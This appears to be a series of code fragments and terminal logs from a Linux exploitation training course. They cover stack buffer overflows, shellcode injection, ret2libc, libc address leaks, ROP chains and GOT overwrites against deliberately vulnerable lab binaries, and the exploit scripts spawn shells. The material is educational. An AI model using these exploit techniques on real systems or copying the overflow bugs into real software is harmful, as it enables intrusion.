    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
    [vsyscall]
    
    Function Addresses:
    System@libc 0x7ffff784f390
    PID: 4446
    ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ echo 2 | sudo tee
    /proc/sys/kernel/randomize_va_space
    2
    ubuntu@ubuntu-xenial:/vagrant/lessons/8_aslr/build$ checksec *
    [*] '/vagrant/lessons/8_aslr/build/1_reveal_addresses'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE
    [*] '/vagrant/lessons/8_aslr/build/2_reveal_addresses64'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE
    [*] '/vagrant/lessons/8_aslr/build/3_reveal_addresses_pie'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    [*] '/vagrant/lessons/8_aslr/build/4_reveal_addresses64_pie'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <stdio.h>
    #include <dlfcn.h>
    #include <unistd.h>
    
    
    int main() {
        puts("This program helps visualise where libc is loaded.\n");
        int pid = getpid();
        char command[500];
        puts("Memory Layout: ");
        sprintf(command, "cat /proc/%d/maps", pid);
        system(command);
        puts("\nFunction Addresses: ");
        printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system"));
        printf("PID: %d\n", pid);
        puts("Press enter to continue.");
        read(0, command, 1);
    }
    amon@bethany:~/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build$ ./1_reveal_addresses
    This program helps visualise where libc is loaded.
    
    Memory Layout:
    08048000-08049000 r-xp 00000000 00:27 329                                /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
    08049000-0804a000 r--p 00000000 00:27 329                                /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
    0804a000-0804b000 rw-p 00001000 00:27 329                                /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses
    0804b000-0806c000 rw-p 00000000 00:00 0                                  [heap]
    f7e0f000-f7e10000 rw-p 00000000 00:00 0
    f7e10000-f7fbf000 r-xp 00000000 08:01 256310                             /lib/i386-linux-gnu/libc-2.23.so
    f7fbf000-f7fc0000 ---p 001af000 08:01 256310                             /lib/i386-linux-gnu/libc-2.23.so
    f7fc0000-f7fc2000 r--p 001af000 08:01 256310                             /lib/i386-linux-gnu/libc-2.23.so
    f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310                             /lib/i386-linux-gnu/libc-2.23.so
    f7fc3000-f7fc6000 rw-p 00000000 00:00 0
    f7fc6000-f7fc9000 r-xp 00000000 08:01 256309                             /lib/i386-linux-gnu/libdl-2.23.so
    f7fc9000-f7fca000 r--p 00002000 08:01 256309                             /lib/i386-linux-gnu/libdl-2.23.so
    f7fca000-f7fcb000 rw-p 00003000 08:01 256309                             /lib/i386-linux-gnu/libdl-2.23.so
    f7fd4000-f7fd6000 rw-p 00000000 00:00 0
    f7fd6000-f7fd8000 r--p 00000000 00:00 0                                  [vvar]
    f7fd8000-f7fd9000 r-xp 00000000 00:00 0                                  [vdso]
    f7fd9000-f7ffb000 r-xp 00000000 08:01 256300                             /lib/i386-linux-gnu/ld-2.23.so
    f7ffb000-f7ffc000 rw-p 00000000 00:00 0
    f7ffc000-f7ffd000 r--p 00022000 08:01 256300                             /lib/i386-linux-gnu/ld-2.23.so
    f7ffd000-f7ffe000 rw-p 00023000 08:01 256300                             /lib/i386-linux-gnu/ld-2.23.so
    fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]
    
    Function Addresses:
    System@libc 0xf7e4ada0
    PID: 20738
    Press enter to continue.
    In [15]: 0xf7e4ada0-0xf7e10000
    Out[15]: 241056
    In [16]: hex(0xf7e4ada0-0xf7e10000)
    Out[16]: '0x3ada0'
    ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/i386-linux-gnu/libc-2.23.so  | grep system
    0003ada0 <__libc_system@@GLIBC_PRIVATE>:
       3adb4:	74 0a                	je     3adc0 <__libc_system@@GLIBC_PRIVATE+0x20>
    00112d60 <svcerr_systemerr@@GLIBC_2.0>:
    This program helps visualise where libc is loaded.
    
    Memory Layout:
    00400000-00401000 r-xp 00000000 08:06 17434884                           /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
    00600000-00601000 r--p 00000000 08:06 17434884                           /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
    00601000-00602000 rw-p 00001000 08:06 17434884                           /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64
    01609000-0162a000 rw-p 00000000 00:00 0                                  [heap]
    7f649ccfe000-7f649cebd000 r-xp 00000000 08:06 262743                     /lib/x86_64-linux-gnu/libc-2.23.so
    7f649cebd000-7f649d0bd000 ---p 001bf000 08:06 262743                     /lib/x86_64-linux-gnu/libc-2.23.so
    7f649d0bd000-7f649d0c1000 r--p 001bf000 08:06 262743                     /lib/x86_64-linux-gnu/libc-2.23.so
    7f649d0c1000-7f649d0c3000 rw-p 001c3000 08:06 262743                     /lib/x86_64-linux-gnu/libc-2.23.so
    7f649d0c3000-7f649d0c7000 rw-p 00000000 00:00 0
    7f649d0c7000-7f649d0ca000 r-xp 00000000 08:06 262742                     /lib/x86_64-linux-gnu/libdl-2.23.so
    7f649d0ca000-7f649d2c9000 ---p 00003000 08:06 262742                     /lib/x86_64-linux-gnu/libdl-2.23.so
    7f649d2c9000-7f649d2ca000 r--p 00002000 08:06 262742                     /lib/x86_64-linux-gnu/libdl-2.23.so
    7f649d2ca000-7f649d2cb000 rw-p 00003000 08:06 262742                     /lib/x86_64-linux-gnu/libdl-2.23.so
    7f649d2cb000-7f649d2f1000 r-xp 00000000 08:06 262410                     /lib/x86_64-linux-gnu/ld-2.23.so
    7f649d4cd000-7f649d4d0000 rw-p 00000000 00:00 0
    7f649d4ee000-7f649d4f0000 rw-p 00000000 00:00 0
    7f649d4f0000-7f649d4f1000 r--p 00025000 08:06 262410                     /lib/x86_64-linux-gnu/ld-2.23.so
    7f649d4f1000-7f649d4f2000 rw-p 00026000 08:06 262410                     /lib/x86_64-linux-gnu/ld-2.23.so
    7f649d4f2000-7f649d4f3000 rw-p 00000000 00:00 0
    7ffd9f7b7000-7ffd9f7d8000 rw-p 00000000 00:00 0                          [stack]
    7ffd9f7e0000-7ffd9f7e2000 r--p 00000000 00:00 0                          [vvar]
    7ffd9f7e2000-7ffd9f7e4000 r-xp 00000000 00:00 0                          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
    
    Function Addresses:
    System@libc 0x7f649cd43390
    PID: 16781
    Press enter to continue.
    In [17]: 0x7f649cd43390-0x7f649ccfe000
    Out[17]: 283536
    In [18]: hex(0x7f649cd43390-0x7f649ccfe000)
    Out[18]: '0x45390'
    ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/x86_64-linux-gnu/libc-2.23.so | grep system
    0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
       45393:	74 0b                	je     453a0 <__libc_system@@GLIBC_PRIVATE+0x10>
    0000000000137c20 <svcerr_systemerr@@GLIBC_2.2.5>:
    ubuntu@ubuntu-xenial:~/libc-database$ ./identify /lib/i386-linux-gnu/libc-2.23.so
    id local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed
    ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed
    offset___libc_start_main_ret = 0x18637
    offset_system = 0x0003ada0
    offset_dup2 = 0x000d6190
    offset_read = 0x000d5980
    offset_write = 0x000d59f0
    offset_str_bin_sh = 0x15b82b
    ubuntu@ubuntu-xenial:~/libc-database$
    #include <stdio.h>
    #include <stdlib.h>
    
    void vuln() {
        char buffer[64];
        read(0, buffer, 96);
    }
    
    int main() {
        vuln();
    }
    ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ ./3_vulnerable
    TEST
    ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start the process
        p = process("../build/3_vulnerable")
    
        # Print the pid
        raw_input(str(p.proc.pid))
    
        # Craft the payload
        payload = "A"*76 + p32(0xdeadc0de)
        payload = payload.ljust(96, "\x00")
    
        # Send the payload
        p.send(payload)
    
        # Pass interaction to the user
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ checksec ./1_vulnerable
    [*] '/vagrant/lessons/4_classic_exploitation/build/1_vulnerable'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE
    ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable
    Hello
    Hello
    
    ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$
    ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ��P���
    Segmentation fault (core dumped)
    ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$
    ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ gdb ./1_vulnerable
    GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
    Copyright (C) 2016 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from ./1_vulnerable...(no debugging symbols found)...done.
    gdb-peda$ pattern_create 100
    'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
    gdb-peda$ r
    Starting program: /vagrant/lessons/4_classic_exploitation/build/1_vulnerable
    AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
    AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
    
    Program received signal SIGSEGV, Segmentation fault.
    
     [----------------------------------registers-----------------------------------]
    EAX: 0x65 ('e')
    EBX: 0x0
    ECX: 0xffffffff
    EDX: 0xf7fc8870 --> 0x0
    ESI: 0xf7fc7000 --> 0x1b1db0
    EDI: 0xf7fc7000 --> 0x1b1db0
    EBP: 0x44414128 ('(AAD')
    ESP: 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    EIP: 0x413b4141 ('AA;A')
    EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x413b4141
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    0004| 0xffffd5f4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    0008| 0xffffd5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    0012| 0xffffd5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    0016| 0xffffd600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    0020| 0xffffd604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    0024| 0xffffd608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    0028| 0xffffd60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x413b4141 in ?? ()
    gdb-peda$ pattern_offset 0x413b4141
    1094402369 found at offset: 28
    gdb-peda$
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start a process
        p = process("../build/1_vulnerable")
    
        # Create payload
        ret_address = 0x41424344
        payload = "A"*28 + p32(ret_address)
        payload = payload.ljust(100, "\x00")
    
        # Print the process id
        raw_input(str(p.proc.pid))
    
        # Send the payload to the binary
        p.send(payload)
    
        # Pass interaction back to the user
        p.interactive()
    
    if __name__ == "__main__":
        main()
    gdb-peda$ attach 9639
    Attaching to process 9639
    Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
    Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
    Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
    gdb-peda$ c
    Continuing.
    
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x21 ('!')
    EBX: 0x0
    ECX: 0xffffffff
    EDX: 0xf7fc8870 --> 0x0
    ESI: 0xf7fc7000 --> 0x1b1db0
    EDI: 0xf7fc7000 --> 0x1b1db0
    EBP: 0x41414141 ('AAAA')
    ESP: 0xffffd640 --> 0x0
    EIP: 0x41424344 ('DCBA')
    EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x41424344
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd640 --> 0x0
    0004| 0xffffd644 --> 0x0
    0008| 0xffffd648 --> 0x0
    0012| 0xffffd64c --> 0x0
    0016| 0xffffd650 --> 0x0
    0020| 0xffffd654 --> 0x0
    0024| 0xffffd658 --> 0x0
    0028| 0xffffd65c --> 0x0
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x41424344 in ?? ()
    gdb-peda$
    gdb-peda$ disas vuln
    Dump of assembler code for function vuln:
       0x0804843b <+0>:	push   ebp
       0x0804843c <+1>:	mov    ebp,esp
       0x0804843e <+3>:	sub    esp,0x18
       0x08048441 <+6>:	sub    esp,0x4
       0x08048444 <+9>:	push   0x64
       0x08048446 <+11>:	lea    eax,[ebp-0x18]
       0x08048449 <+14>:	push   eax
       0x0804844a <+15>:	push   0x0
       0x0804844c <+17>:	call   0x8048300 <read@plt>
       0x08048451 <+22>:	add    esp,0x10
       0x08048454 <+25>:	sub    esp,0xc
       0x08048457 <+28>:	lea    eax,[ebp-0x18]
       0x0804845a <+31>:	push   eax
       0x0804845b <+32>:	call   0x8048310 <puts@plt>
       0x08048460 <+37>:	add    esp,0x10
       0x08048463 <+40>:	nop
       0x08048464 <+41>:	leave
       0x08048465 <+42>:	ret
    End of assembler dump.
    gdb-peda$ del
    gdb-peda$ br *0x0804845b
    Breakpoint 2 at 0x804845b
    gdb-peda$ c
    Continuing.
    [----------------------------------registers-----------------------------------]
    EAX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
    EBX: 0x0
    ECX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
    EDX: 0x64 ('d')
    ESI: 0xf7fc7000 --> 0x1b1db0
    EDI: 0xf7fc7000 --> 0x1b1db0
    EBP: 0xffffd608 ("AAAADCBA")
    ESP: 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
    EIP: 0x804845b (<vuln+32>:	call   0x8048310 <puts@plt>)
    EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x8048454 <vuln+25>:	sub    esp,0xc
       0x8048457 <vuln+28>:	lea    eax,[ebp-0x18]
       0x804845a <vuln+31>:	push   eax
    => 0x804845b <vuln+32>:	call   0x8048310 <puts@plt>
       0x8048460 <vuln+37>:	add    esp,0x10
       0x8048463 <vuln+40>:	nop
       0x8048464 <vuln+41>:	leave
       0x8048465 <vuln+42>:	ret
    Guessed arguments:
    arg[0]: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
    0004| 0xffffd5e4 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
    0008| 0xffffd5e8 --> 0x64 ('d')
    0012| 0xffffd5ec --> 0xf7e2d0ec (test   eax,eax)
    0016| 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
    0020| 0xffffd5f4 ('A' <repeats 24 times>, "DCBA")
    0024| 0xffffd5f8 ('A' <repeats 20 times>, "DCBA")
    0028| 0xffffd5fc ('A' <repeats 16 times>, "DCBA")
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    
    Thread 1 "1_vulnerable" hit Breakpoint 2, 0x0804845b in vuln ()
    gdb-peda$
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start a process
        p = process("../build/1_vulnerable")
    
        # Create payload
        ret_address = 0xffffd5f0 + 28 + 4
        payload = "A"*28 + p32(ret_address)
        payload = payload.ljust(100, "\xcc")
    
        # Print the process id
        raw_input(str(p.proc.pid))
    
        # Send the payload to the binary
        p.send(payload)
    
        # Pass interaction back to the user
        p.interactive()
    
    if __name__ == "__main__":
        main()
    gdb-peda$ attach 9675
    Attaching to process 9675
    Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
    Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
    Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
    gdb-peda$ c
    Continuing.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    [----------------------------------registers-----------------------------------]
    EAX: 0x65 ('e')
    EBX: 0x0
    ECX: 0xffffffff
    EDX: 0xf7fc8870 --> 0x0
    ESI: 0xf7fc7000 --> 0x1b1db0
    EDI: 0xf7fc7000 --> 0x1b1db0
    EBP: 0x41414141 ('AAAA')
    ESP: 0xffffd610 --> 0xcccccccc
    EIP: 0xffffd611 --> 0xcccccccc
    EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    => 0xffffd611:	int3
       0xffffd612:	int3
       0xffffd613:	int3
       0xffffd614:	int3
    [------------------------------------stack-------------------------------------]
    0000| 0xffffd610 --> 0xcccccccc
    0004| 0xffffd614 --> 0xcccccccc
    0008| 0xffffd618 --> 0xcccccccc
    0012| 0xffffd61c --> 0xcccccccc
    0016| 0xffffd620 --> 0xcccccccc
    0020| 0xffffd624 --> 0xcccccccc
    0024| 0xffffd628 --> 0xcccccccc
    0028| 0xffffd62c --> 0xcccccccc
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGTRAP
    0xffffd611 in ?? ()
    gdb-peda$
    shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" +
    	     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" +
                 "\x80\xe8\xdc\xff\xff\xff/bin/sh")
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start a process
        p = process("../build/1_vulnerable")
    
        # Create payload
        ret_address = 0xffffd620 + 28 + 4
        shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" +
                     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" +
                     "\x80\xe8\xdc\xff\xff\xff/bin/sh")
        payload = "A"*28 + p32(ret_address)
        padding_len = 100 - len(payload) - len(shellcode)
        payload += "\x90" * padding_len + shellcode
    
        # Send the payload to the binary
        p.send(payload)
    
        # Pass interaction back to the user
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/scripts$ python 3_final.py
    [+] Starting local process '../build/1_vulnerable': Done
    [*] Switching to interactive mode
    AAAAAAAAAAAAAAAAAAAAAAAAAAAA@��\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90��^\x891��F\x07\x89F\x0c\xb0\x0b\x89��\x8dV\x0c̀1ۉ�@̀���\xff\xff/bin/sh
    $ ls -la
    total 20
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 23:10 .
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 23:00 ..
    -rw-rw-r-- 1 ubuntu ubuntu  462 Jan 11 22:00 1_skeleton.py
    -rw-rw-r-- 1 ubuntu ubuntu  471 Jan 11 22:40 2_stackjump.py
    -rw-rw-r-- 1 ubuntu ubuntu  697 Jan 11 23:10 3_final.py
    $
    [*] Stopped program '../build/1_vulnerable'
    ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/scripts$
    amon@bethany:~/sproink/linux-exploitation-course/lessons/12_multi_stage/build$ ./1_vulnerable
    Hello World
    Hello World
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        p = process("../build/1_vulnerable")
    
        payload = "A"*28 + p32(0xdeadc0de)
    
        p.send(payload)
    
        p.interactive()
    
    if __name__ == "__main__":
        main()
    #!/usr/bin/python
    
    from pwn import *
    
    offset___libc_start_main_ret = 0x18637
    offset_system = 0x0003ada0
    offset_dup2 = 0x000d6190
    offset_read = 0x000d5980
    offset_write = 0x000d59f0
    offset_str_bin_sh = 0x15b82b
    
    read_plt = 0x08048300
    write_plt = 0x08048320
    write_got = 0x0804a014
    
    def main():
        p = process("../build/1_vulnerable")
    
        # Craft payload
        payload = "A"*28
        payload += p32(write_plt)
        payload += p32(0xdeadbeef)
        payload += p32(1) # STDOUT
        payload += p32(write_got)
        payload += p32(4)
    
        p.send(payload)
    
        # Clear the 16 bytes written on vuln end
        p.recv(16)
    
        # Parse the leak
        leak = p.recv(4)
        write_addr = u32(leak)
        log.info("write_addr: 0x%x" % write_addr)
    
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 2_leak_system.py
    [+] Starting local process '../build/1_vulnerable': Done
    [*] write_addr: 0xf76569f0
    [*] Switching to interactive mode
    $  [*] Got EOF while reading in interactive
    
    [*] Process '../build/1_vulnerable' stopped with exit code -11
    [*] Got EOF while sending in interactive
    ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/build$ ropper --file 1_vulnerable
    ... snip ..
    0x080484e9: pop esi; pop edi; pop ebp; ret;
    ... snip ..
    gdb-peda$ find ed
    Searching for 'ed' in: None ranges
    Found 393 results, display max 256 items:
    1_vulnerable : 0x8048243 --> 0x72006465 ('ed')
    1_vulnerable : 0x8049243 --> 0x72006465 ('ed')
    #!/usr/bin/python
    
    from pwn import *
    
    offset___libc_start_main_ret = 0x18637
    offset_system = 0x0003ada0
    offset_dup2 = 0x000d6190
    offset_read = 0x000d5980
    offset_write = 0x000d59f0
    offset_str_bin_sh = 0x15b82b
    
    read_plt = 0x08048300
    write_plt = 0x08048320
    write_got = 0x0804a014
    new_system_plt = write_plt
    
    pppr = 0x080484e9
    
    ed_str = 0x8048243
    
    def main():
        p = process("../build/1_vulnerable")
    
        # Craft payload
        payload = "A"*28
        payload += p32(write_plt) # 1. write(1, write_got, 4)
        payload += p32(pppr)
        payload += p32(1) # STDOUT
        payload += p32(write_got)
        payload += p32(4)
        payload += p32(read_plt) # 2. read(0, write_got, 4)
        payload += p32(pppr)
        payload += p32(0) # STDIN
        payload += p32(write_got)
        payload += p32(4)
        payload += p32(new_system_plt) # 3. system("ed")
        payload += p32(0xdeadbeef)
        payload += p32(ed_str)
    
        p.send(payload)
    
        # Clear the 16 bytes written on vuln end
        p.recv(16)
    
        # Parse the leak
        leak = p.recv(4)
        write_addr = u32(leak)
        log.info("write_addr: 0x%x" % write_addr)
    
        # Calculate the important addresses
        libc_base = write_addr - offset_write
        log.info("libc_base: 0x%x" % libc_base)
        system_addr = libc_base + offset_system
        log.info("system_addr: 0x%x" % system_addr)
    
        # Send the stage 2
        p.send(p32(system_addr))
    
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 3_final.py
    [+] Starting local process '../build/1_vulnerable': Done
    [*] write_addr: 0xf760c9f0
    [*] libc_base: 0xf7537000
    [*] system_addr: 0xf7571da0
    [*] Switching to interactive mode
    $ !sh
    $ ls -la
    total 20
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13  2017 .
    drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 19:08 ..
    -rw-rw-r-- 1 ubuntu ubuntu  212 Jan 13 18:16 1_skeleton.py
    -rw-rw-r-- 1 ubuntu ubuntu  776 Jan 13 18:30 2_leak_system.py
    -rw-rw-r-- 1 ubuntu ubuntu 1410 Jan 13 18:50 3_final.py
    $
    [*] Stopped program '../build/1_vulnerable'
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdio.h>
    #include <unistd.h>
    
    struct record {
        char name[24];
        char * album;
    };
    
    int main() {
        // Print Title
        puts("This is a Jukebox");
    
        // Create the struct record
        struct record now_playing;
        strcpy(now_playing.name, "Simple Minds");
        now_playing.album = (char *) malloc(sizeof(char) * 24);
        strcpy(now_playing.album, "Breakfast");
        printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
    
        // Read some user data
        read(0, now_playing.name, 28);
        printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
    
        // Overwrite the album
        read(0, now_playing.album, 4);
        printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
    
        // Print the name again
        puts(now_playing.name);
    }
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ ./1_records
    This is a Jukebox
    Now Playing: Simple Minds (Breakfast)
    Hello
    Now Playing: Hello
     Minds (Breakfast)
    Stuff
    Now Playing: Hello
     Minds (Stufkfast)
    Hello
     Minds
    gdb-peda$ find "This is a Jukebox"
    Searching for 'This is a Jukebox' in: None ranges
    Found 2 results, display max 2 items:
    1_records : 0x8048610 ("This is a Jukebox")
    1_records : 0x8049610 ("This is a Jukebox")
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        p = process("../build/1_records")
    
        # Craft first stage (arbitrary read)
        leak_address = 0x8048610    # Address of "This is a Jukebox"
        stage_1 = "A"*24 + p32(leak_address)
    
        # Send the first stage
        p.send(stage_1)
    
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 1_arbitrary_read.py
    [+] Starting local process '../build/1_records': Done
    This is a Jukebox
    Now Playing: Simple Minds (Breakfast)
    Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x10\x86\x0�so�.�\xff (This is a Jukebox)
    $
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        p = process("../build/1_records")
    
        # Craft first stage (arbitrary read)
        leak_address = 0x8048610    # Address of "This is a Jukebox"
        stage_1 = "A"*24 + p32(leak_address)
        p.recvrepeat(0.2)
    
        # Send the first stage
        p.send(stage_1)
    
        # Parse the response
        data = p.recvrepeat(0.2)
        leak = data[data.find("(")+1:data.rfind(")")]
        log.info("Got leaked data: %s" % leak)
    
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 2_arbitrary_read_controlled.py
    [+] Starting local process '../build/1_records': Done
    [*] Got leaked data: This is a Jukebox
    [*] Switching to interactive mode
    $
        system(now_playing.name);
    ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ readelf -r ./1_records  | grep puts
    0804a018  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        p = process("../build/1_records")
    
        # Craft first stage (arbitrary read)
        leak_address = 0x0804a018    # Address of puts@got
        stage_1 = "A"*24 + p32(leak_address)
        p.recvrepeat(0.2)
    
        # Send the first stage
        p.send(stage_1)
    
        # Parse the response
        data = p.recvrepeat(0.2)
        leak = data[data.find("(")+1:data.rfind(")")]
        log.info("Got leaked data: %s" % leak)
        puts_addr = u32(leak[:4])
        log.info("puts@libc: 0x%x" % puts_addr)
    
        p.interactive()
